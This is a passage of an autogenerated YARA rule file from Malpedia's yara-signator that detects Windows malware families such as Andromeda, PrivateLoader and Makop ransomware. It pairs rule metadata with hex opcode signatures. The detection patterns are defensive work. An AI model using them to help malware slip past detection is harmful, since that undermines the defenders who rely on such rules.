		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mechanical_auto.yar#L1-L161"
		license_url = "N/A"
		logic_hash = "bdb95de618c80d698fcb0c6f336b0430b26a5d0b33d6a5403bc772ebe314b16e"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 03c7 3bca 72ed 5f }
		$sequence_1 = { 4883c201 4983e901 0f855dfeffff 488d9424000a0000 }
		$sequence_2 = { 030495c0e54200 eb05 b8???????? f6400420 }
		$sequence_3 = { 4883ec28 488d15056a0200 e8???????? 4885c0 }
		$sequence_4 = { 0f84e4e30000 488b8500730200 488d8c2410600000 33d2 488901 8b8508730200 41b8f5000000 }
		$sequence_5 = { 0401 3cbe 8844240b 76e2 }
		$sequence_6 = { 033485c0e54200 8b45e4 8b00 8906 }
		$sequence_7 = { 03ce c6840c3801000000 8d8424a05c0000 33f6 }
		$sequence_8 = { 488bf3 48c1fe05 4c8d2547e50000 408afb 83e71f 48c1e706 }
		$sequence_9 = { 00686c 42 0023 d18a0688078a }
		$sequence_10 = { 03c1 1bc9 0bc1 59 e9???????? e8???????? ff742404 }
		$sequence_11 = { 4585c0 0f84b6010000 488d9424f05d0000 458bc8 66666690 66666690 0fb602 }
		$sequence_12 = { 033485c0e54200 c745e401000000 33db 395e08 }
		$sequence_13 = { 0fb785107a0200 66894108 0fb685127a0200 88410a 488d8c248b010000 }
		$sequence_14 = { 33d2 41b803010000 4488a42460430000 488905???????? e8???????? 4c8d1de50a0200 498bcc }
		$sequence_15 = { 4489642430 4488a424100b0000 e8???????? 4c8d1dfcd60100 }
	condition:
		7 of them and filesize < 434176
}

rule MALPEDIA_Win_Lightlesscan_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "b826b58a-58c7-58d3-8203-4697848cdc57"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lightlesscan"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lightlesscan_auto.yar#L1-L132"
		license_url = "N/A"
		logic_hash = "5d3e853bb474af272be8c5d451244aad6d1bade1283c3318141a0ba65106022e"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 83fb02 0f8539020000 33c0 4585ed 0f84bb010000 448b442464 488945b0 }
		$sequence_1 = { 4885db 745a 488d0dda770400 e8???????? 4c8d4c2450 458bc4 488bd6 }
		$sequence_2 = { 4c8d4c2478 4533c0 418d5001 488b4d28 ffd0 }
		$sequence_3 = { 8b442434 eb8c 85c0 0f858c060000 33db 4d8be7 8bfb }
		$sequence_4 = { e8???????? 488d4c2454 4c89642428 48894c2420 488b4c2458 4533c9 4533c0 }
		$sequence_5 = { b904010000 498bc3 66443938 740b 4883c002 48ffc9 75f1 }
		$sequence_6 = { 4883c9ff 48897c2430 33c0 488bfb 488bd6 f2ae 48f7d1 }
		$sequence_7 = { e8???????? 488bcb ffd0 488b0d???????? 488b1d???????? c60107 40382b }
		$sequence_8 = { 4c8d8de0030000 4c8d05306f0500 440fb7d8 488d8dd0010000 ba04010000 44895c2420 e8???????? }
		$sequence_9 = { 498be3 415c 5f 5d c3 48895c2418 48896c2420 }
	condition:
		7 of them and filesize < 1399808
}

rule MALPEDIA_Win_Mydogs_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "4b817b5f-5d7c-595b-8c97-271eb59c1e4c"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mydogs"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mydogs_auto.yar#L1-L124"
		license_url = "N/A"
		logic_hash = "fb82bf24d6c6bbbb3b47474367cfbe1a36e1fd31146eb3759ae00c840dc8a44d"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 88040a 8d4901 84c0 75f4 6808020000 e8???????? }
		$sequence_1 = { 2bca 51 8d85e8fcffff 50 6a01 6a00 53 }
		$sequence_2 = { 50 8b8544f8ffff 33c9 038d48f8ffff 83d000 50 0fb78582f9ffff }
		$sequence_3 = { 83fe20 750f 57 6a01 6a01 68???????? e9???????? }
		$sequence_4 = { 61 9d a1???????? f30f7e05???????? }
		$sequence_5 = { 33d2 8945d8 b901000000 8930 }
		$sequence_6 = { e8???????? 0fb64608 88450b 6a01 8d450b 50 8bcf }
		$sequence_7 = { 6860ea0000 ff15???????? 68???????? 6a00 68???????? 68???????? }
		$sequence_8 = { 69c005840808 40 894704 898560fbffff c1e818 33c6 25ff000000 }
		$sequence_9 = { c785f0eeffff00000000 e8???????? 8bf8 83c408 85ff }
	condition:
		7 of them and filesize < 313344
}

rule MALPEDIA_Win_Stowaway_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "fff7cfff-aed4-5ea2-8664-de07b4f99127"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.stowaway"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.stowaway_auto.yar#L1-L199"
		license_url = "N/A"
		logic_hash = "84a539e785b0d71993d13deb34a2d8f732a0d59ec389deb587ebb307e97415d7"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 76e8 77e8 78e8 79e8 }
		$sequence_1 = { 78e8 79e8 7ae8 ce f67be8 }
		$sequence_2 = { ce f67be8 7ce8 7de8 }
		$sequence_3 = { a3???????? 4e fb b501 }
		$sequence_4 = { 751e 53 2661 6d b040 3d1db5094f }
		$sequence_5 = { 2a37 e394 5e b5a9 0e 2cc6 ec }
		$sequence_6 = { 5b 6b5e045f aa 43 9a7f6eb1f75c72 7f30 fa }
		$sequence_7 = { 50 91 3e06 48 52 2692 4e }
		$sequence_8 = { 1b7f1c b567 8110932238ba 81f82f2437b0 645b f257 326640 }
		$sequence_9 = { d4ff 57 ed 7a80 51 80534080 }
		$sequence_10 = { 99 0039 801002 3900 99 }
		$sequence_11 = { e774 5b 004f49 5c }
		$sequence_12 = { 8d843000a03b00 01f3 50 83c708 }
		$sequence_13 = { 777c 7781 7782 7783 7786 7787 }
		$sequence_14 = { 3c77 0c35 f20b18 40 }
		$sequence_15 = { f3676d 51 99 9f 4b 8099543c7bbf7a }
		$sequence_16 = { a5 ed 91 34cf }
		$sequence_17 = { 60 41 69e038173794 6c 5c d10f }
		$sequence_18 = { d7 80cf73 c9 f0f3f9 }
		$sequence_19 = { a4 49 07 04bc 3c2f }
	condition:
		7 of them and filesize < 8003584
}

rule MALPEDIA_Win_Privateloader_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "f74899e2-5f0f-5412-9628-abf5d89b0b25"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.privateloader"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.privateloader_auto.yar#L1-L180"
		license_url = "N/A"
		logic_hash = "6d2070cfc4fc90b89a113279c1da7a1229970780c46dc9914cb804e46d0ce9c2"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8bec 83ec1c 894df8 8b45f8 8b4810 894df4 }
		$sequence_1 = { 8945f4 8b4dfc 83791408 7209 }
		$sequence_2 = { 8b55e4 8a45ff 88040a 8b45f8 }
		$sequence_3 = { 8b4d08 3b4814 776d 8b55f8 8955f4 8b45f4 8945ec }
		$sequence_4 = { 8b45d8 8b4ddc 8b55d0 8b75d4 }
		$sequence_5 = { 8b4508 8945e4 8b4de8 034de4 8a55ff }
		$sequence_6 = { 8945c8 8955cc 8b45c8 8b55cc 5e }
		$sequence_7 = { 8b55f8 8b45f4 3b4214 736c }
		$sequence_8 = { e8???????? 33d2 b93f000000 f7f1 }
		$sequence_9 = { 8b4590 8b4d94 8b5588 8b758c }
		$sequence_10 = { a3???????? 33c0 5e c3 3b0d???????? }
		$sequence_11 = { e8???????? 83c610 83c002 83ef08 }
		$sequence_12 = { 81ec68010000 a1???????? 33c5 8945fc 56 57 }
		$sequence_13 = { 83c201 8955e0 83d600 8975e4 }
		$sequence_14 = { 8b4de0 8b45e4 50 51 52 56 e8???????? }
		$sequence_15 = { 6a04 8d4310 50 6a06 }
		$sequence_16 = { 0bc8 56 57 7529 }
		$sequence_17 = { 8b8578ffffff 8b8d7cffffff 8b9570ffffff 8bb574ffffff }
		$sequence_18 = { 03d0 8b4d9c 13f1 83c201 }
	condition:
		7 of them and filesize < 3670016
}

rule MALPEDIA_Win_Adylkuzz_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "4eb10972-cae7-59fc-a870-eebdff70e8df"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.adylkuzz"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.adylkuzz_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "de5f91809dc8ef12371c16bfe87d826bfdd622a4d5fefa4fc686464cb89ee65c"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c1c002 3bec f5 33d8 03f8 e9???????? 668b442500 }
		$sequence_1 = { e8???????? 8b35???????? b9???????? 89d8 8b7b08 89f2 e8???????? }
		$sequence_2 = { f8 81c508000000 f5 f9 8901 660fc1c0 81ee04000000 }
		$sequence_3 = { f6c32d 3bce d2e8 6689442504 0fbfc2 660fb6c5 0fc8 }
		$sequence_4 = { f7d8 33d8 663bd2 f5 03f8 ffe7 660fb6442500 }
		$sequence_5 = { c7042400000000 b90b000000 89fa 89d8 e8???????? 85c0 7482 }
		$sequence_6 = { df6c2428 eb77 837c241c08 0f8595020000 f744242000008000 7504 df2e }
		$sequence_7 = { f7d0 8b06 f5 6685fb 33c3 f9 663bf0 }
		$sequence_8 = { 8b5034 39d1 0f47ca f6c740 7408 8b5038 39d1 }
		$sequence_9 = { e8???????? 8b5e08 83fb03 7518 8b16 b9fbffffff 89e8 }
	condition:
		7 of them and filesize < 6438912
}

rule MALPEDIA_Win_Babar_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "b29cd175-863b-5025-9e64-c8f5753d1c62"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.babar"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.babar_auto.yar#L1-L162"
		license_url = "N/A"
		logic_hash = "2b221179b5f8ee2ea03d97e07ac34f9970eda994151497ddf7357451a1c3d5d6"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 3bd6 7505 8d55e0 eb16 }
		$sequence_1 = { 3bd6 721b 57 8bcb e8???????? 8bc8 }
		$sequence_2 = { 3bd6 7503 8d5014 895010 }
		$sequence_3 = { 3bd7 0f8440010000 397e14 0f8437010000 }
		$sequence_4 = { 46 ddd9 83fe03 ddd8 }
		$sequence_5 = { 3bd6 7505 8d55d8 eb16 }
		$sequence_6 = { 3bd7 7215 7704 3bc3 }
		$sequence_7 = { 3bd6 72d9 33f6 eb08 }
		$sequence_8 = { 7506 807a0100 751c 8bc6 83c301 }
		$sequence_9 = { 83c104 5f 8bc1 2b442414 5e c60100 }
		$sequence_10 = { eb4b 8b4c2428 55 6800014004 55 55 55 }
		$sequence_11 = { 8b5308 8b03 8bf9 33fa }
		$sequence_12 = { 89542448 ffd5 50 53 ff15???????? 85c0 }
		$sequence_13 = { 8b15???????? 5f 895608 8bc6 5e 8b8c2408060000 33cc }
		$sequence_14 = { 8d442418 50 6a00 57 51 }
		$sequence_15 = { 0fb65002 83e23f 0fb61432 885103 83c003 83c104 }
	condition:
		7 of them and filesize < 1294336
}

rule MALPEDIA_Win_Makop_Ransomware_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "cd34e745-9497-5ffc-bd73-ecb5996e2067"
		date = "2023-07-11"
		modified = "2023-07-15"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.makop_ransomware"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.makop_ransomware_auto.yar#L1-L124"
		license_url = "N/A"
		logic_hash = "3c7cc3419f322a8e9eb8473ecaf54fc5da0725e8a0f35ff3f90245e28389848b"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20230705"
		malpedia_hash = "42d0574f4405bd7d2b154d321d345acb18834a41"
		malpedia_version = "20230715"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { eb02 33f6 803d????????00 751f 803d????????00 7516 80fb01 }
		$sequence_1 = { 52 50 51 e8???????? 8b542430 83c40c 68e0930400 }
		$sequence_2 = { 52 66c7060802 66c746041066 c6460820 }
		$sequence_3 = { 56 ff15???????? 85c0 750b 8906 32c0 5e }
		$sequence_4 = { 83c001 84c9 75f7 2bc7 83e801 39442404 720a }
		$sequence_5 = { ffd6 85ff 740f 85db 740b 837c242000 7404 }
		$sequence_6 = { 8b2d???????? 3beb 742e 8b4524 3bc3 7407 50 }
		$sequence_7 = { 7416 e8???????? 6a00 e8???????? 83c404 }
		$sequence_8 = { e8???????? 8b442418 83c40c 8b4f0c }
		$sequence_9 = { 742f 33c0 3906 763d 8d4c2448 }
	condition:
		7 of them and filesize < 107520
}

rule MALPEDIA_Win_Unidentified_110_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "cf62c553-12f9-5533-845c-44826d9d56b2"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_110"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_110_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "e61c3758e63fca434ff16788b9f2b50055e755cc5399fb0099b370350ca7876a"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 753e 4c89f1 89da 4189e8 e8???????? 8a08 488b5040 }
		$sequence_1 = { 4c89e0 48f7e1 4989c7 0f91c0 0f8050010000 88c3 48c1e306 }
		$sequence_2 = { f0480fc11d???????? 8b05???????? 65488b0c2558000000 488b04c1 80b82001000000 7505 e8???????? }
		$sequence_3 = { 48ffc8 4883f802 0f83ab000000 488bb42430010000 488d4e18 498b1424 e8???????? }
		$sequence_4 = { e8???????? 0f1006 0f104e10 0f105620 0f119390000000 0f118b80000000 0f114370 }
		$sequence_5 = { 4c89c1 e8???????? 4889c7 83ff01 7543 4889d9 ba2f000000 }
		$sequence_6 = { 4c8d642448 49c7c6ffffffff 4c89e9 e8???????? 6683f801 0f85b6000000 89d5 }
		$sequence_7 = { 4c8d0557060800 ba25000000 e8???????? 0f0b 56 4883ec20 488b31 }
		$sequence_8 = { 4869cf48010000 4801c1 4883c108 48c741f801000000 41b840010000 4c89f2 e8???????? }
		$sequence_9 = { 65488b0c2558000000 488b2cc1 0fb7b578010000 66c785780100000180 4889f9 4c89f2 e8???????? }
	condition:
		7 of them and filesize < 3217408
}

rule MALPEDIA_Win_Turnedup_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "f4a24578-5335-5053-b07f-943404877172"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.turnedup"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.turnedup_auto.yar#L1-L118"
		license_url = "N/A"
		logic_hash = "70af128b8d10ec8ac1a0ea6deea907b76cc81c6db7a8cb227ddf71385e7b13b6"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 6a0d c741140f000000 c7411000000000 68???????? 8945a8 c60100 }
		$sequence_1 = { 85db 7417 8d4df4 8bf3 }
		$sequence_2 = { 7f0d 0fbed0 0fbec1 8d4a05 }
		$sequence_3 = { c70600000000 c6460401 807e0530 0f8cf1000000 807e0400 7538 8b0e }
		$sequence_4 = { 740f e8???????? 8b4dbc 8801 }
		$sequence_5 = { 8d44244c 50 e8???????? dd542448 8b442434 }
		$sequence_6 = { 7405 884305 eb06 c70300000000 c6430401 8a4b05 884dbb }
		$sequence_7 = { ffd3 83ec1c 8bcc 6a0d c741140f000000 c7411000000000 68???????? }
		$sequence_8 = { c60100 e8???????? c3 56 }
		$sequence_9 = { 8945fc 8d45fc 50 8d4df0 e8???????? 68???????? }
	condition:
		7 of them and filesize < 892928
}

rule MALPEDIA_Win_Nspx30_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "b7c1fb90-4e2e-567c-b71f-a04015c19cf0"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nspx30"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nspx30_auto.yar#L1-L307"
		license_url = "N/A"
		logic_hash = "21c2ef2f3120756bc5bb636c0145196e56cf18e54f32669d823d96a566a0c7b3"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { f3ab 66ab aa b06c }
		$sequence_1 = { 0f8418030000 8b8530e5ffff 8b0485384c0410 f644060480 0f8400030000 e8???????? }
		$sequence_2 = { 8903 c7831400080000000000 eb58 ff15???????? 8bc8 8b44240c }
		$sequence_3 = { 6a04 6800100000 03c3 57 50 ff5508 }
		$sequence_4 = { 8bf0 85db 742e 85ff }
		$sequence_5 = { 66c78424d80000007300 66c78424de0000006100 66c78424e20000006f00 66c78424e60000002100 66c78424ea0000006500 66c78424ec0000007700 66c78424ee0000003a00 }
		$sequence_6 = { 8b45f8 50 e8???????? 8945a8 688e4e0eec }
		$sequence_7 = { 6689b4249c000000 52 be32000000 6a00 51 66c74424787b00 66c744247a3300 }
		$sequence_8 = { 0f8c89010000 8b4c2410 8b11 8b420c 8b7a08 }
		$sequence_9 = { 33c0 e9???????? 8b550c 52 6a14 e8???????? }
		$sequence_10 = { 5e 7426 40 c60057 40 c60049 40 }
		$sequence_11 = { 833800 0f8494010000 ff750c ff7508 e8???????? 8bf0 }
		$sequence_12 = { 8b44240c 85c0 7460 53 ba04000000 }
		$sequence_13 = { e8???????? 8b0f 8bc1 c1f805 83e11f 8b0485384c0410 c1e106 }
		$sequence_14 = { 83ec0c 53 8b5c2414 56 57 6a01 }
		$sequence_15 = { b843000000 66898c24c0000000 66898c24ce000000 66898c24d2000000 }
		$sequence_16 = { 6689bc24fe000000 6689bc2400010000 6689b42402010000 66c78424040100004500 66c78424080100003300 66c784240a0100004500 }
		$sequence_17 = { 6689444ffe 3bcb 72e7 e9???????? 8b7c2418 33c9 85db }
		$sequence_18 = { bf???????? 83c9ff 33c0 6a5c }
		$sequence_19 = { 8b0495384c0410 83c702 ff3418 ff15???????? 85c0 750e ff15???????? }
		$sequence_20 = { 894dfc 8b55fc 8b4508 034220 8945ec }
		$sequence_21 = { 8b1481 8955d8 8b4508 0345d8 eb04 eba4 }
		$sequence_22 = { ffd2 c7461000000000 8b4608 53 8b5c2410 85c0 }
		$sequence_23 = { 83c404 c745fcffffffff 833d????????00 8b07 }
		$sequence_24 = { c7402420120010 c7402860120010 33c0 5e c20800 6879270000 ff15???????? }
		$sequence_25 = { b801000000 5b 81c410030000 c20c00 5f 5e }
		$sequence_26 = { 5b 754a c7002c000000 895004 895008 c7400ca0120010 }
		$sequence_27 = { 83c9ff 33c0 c644240c57 c644240d69 c644240e6e c644240f64 c64424106f }
		$sequence_28 = { 6a00 ff15???????? 8bfb 83c9ff 33c0 b25c f2ae }
		$sequence_29 = { 7c86 5f 5d 5e 5b }
		$sequence_30 = { 57 66896c2436 66896c2446 8d4c2414 bb38000000 be2d000000 }
	condition:
		7 of them and filesize < 3789824
}

rule MALPEDIA_Win_Pgift_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "5134e180-c701-504d-b27b-1f2a37782304"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pgift"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pgift_auto.yar#L1-L122"
		license_url = "N/A"
		logic_hash = "86543d2a9c2965bb35bf9078bd182bce16bae717918e12d47f187ce1755d9b8f"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c645fc03 e8???????? ff7510 8d4de8 }
		$sequence_1 = { e8???????? 8d7e01 57 ebac }
		$sequence_2 = { 53 6a11 ff15???????? 8bd8 8d45ec }
		$sequence_3 = { 53 6a01 6800000040 ff75ec ff15???????? 8bd8 }
		$sequence_4 = { 7408 ff4510 83c710 eb99 8b4e14 }
		$sequence_5 = { 89450c 8d45e4 53 50 8d4594 50 }
		$sequence_6 = { 50 8d4de4 e8???????? 33db 8d8de4feffff 895dfc 895dec }
		$sequence_7 = { 8d4de8 c645fc01 e8???????? 83f8ff 750f 6a2f 8d4de8 }
		$sequence_8 = { e9???????? 8b4d08 8bc3 2bc1 c1f802 3bc7 7369 }
		$sequence_9 = { e8???????? ff75e8 ff15???????? eb53 8b45ec 3958f8 742f }
	condition:
		7 of them and filesize < 98304
}

rule MALPEDIA_Win_Andromeda_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "aedaa52d-9d6c-5053-8164-d65674aef5c3"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.andromeda"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.andromeda_auto.yar#L1-L305"
		license_url = "N/A"
		logic_hash = "20401b03708a6c3a0bc1e9efb5c1e1d85a9de75bca8501a792bc92bf7f214fb5"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 02d6 81e2ff000000 368a942a00ffffff 301439 41 }
		$sequence_1 = { 8b7508 33db 368a942900ffffff 02c2 }
		$sequence_2 = { 7408 43 3b5d0c 74cf ebcf 33c0 }
		$sequence_3 = { 55 8bec 81c400ffffff 60 b940000000 8d7dfc b8fcfdfeff }
		$sequence_4 = { fec0 368a942800ffffff 02da 368ab42b00ffffff 3688b42800ffffff 3688942b00ffffff 02d6 }
		$sequence_5 = { e2f8 fc 33c0 8b7508 }
		$sequence_6 = { 368ab42800ffffff 3688b42900ffffff 3688942800ffffff fec1 }
		$sequence_7 = { 8d7dfc b8fcfdfeff fd ab 2d04040404 e2f8 }
		$sequence_8 = { 60 e8???????? 5d 81ed???????? 33c9 }
		$sequence_9 = { 0fb64601 84c0 7905 0d00ffffff }
		$sequence_10 = { 0f9ec1 33d2 3c41 0f9dc2 85ca 7404 0420 }
		$sequence_11 = { 8a06 33c9 3c5a 0f9ec1 33d2 3c41 }
		$sequence_12 = { 8d45d0 50 6a01 ff7508 }
		$sequence_13 = { 50 e8???????? 83c40c 6800000100 e8???????? }
		$sequence_14 = { 68???????? 50 ff15???????? 83c40c 56 6880000000 }
		$sequence_15 = { 689f010000 6811010000 57 68???????? ff15???????? 50 }
		$sequence_16 = { 68401f0000 e8???????? 668945e2 c745e400000000 }
		$sequence_17 = { c745e400000000 6a00 6a00 6a00 6a06 6a01 6a02 }
		$sequence_18 = { c7459c44000000 8945d4 8945d8 8945dc 66c745cc0000 c745c801010000 8d458c }
		$sequence_19 = { 7457 33c0 8d7d9c b944000000 f3aa 6a00 6a00 }
		$sequence_20 = { e8???????? ff75f4 e8???????? 68???????? 6801010000 e8???????? }
		$sequence_21 = { 6a02 e8???????? 8945f0 83f8ff 7479 }
		$sequence_22 = { e8???????? 8945f8 83f800 0f8458010000 }
		$sequence_23 = { 6804010000 ff75fc 6a00 e8???????? 6a00 ff75f8 }
		$sequence_24 = { 81fb5267a723 0f843fffffff 56 ff7514 }
		$sequence_25 = { 0faff8 69f677adcc8a 81ffd02eaced 0f84a1feffff e9???????? 803beb }
		$sequence_26 = { 81e604002402 81e747af3c96 81ce00008000 81c760345938 }
		$sequence_27 = { 8b4574 833800 0f846c010000 6af5 ff5510 }
		$sequence_28 = { ff5614 8bd8 81f392be3437 81ff64e62722 0f8418010000 8365f000 6850020000 }
		$sequence_29 = { ff5638 314508 ff560c 8b7d04 0bd8 81fbb599839e 7503 }
		$sequence_30 = { 81f99cd8b976 7417 85db 7c73 }
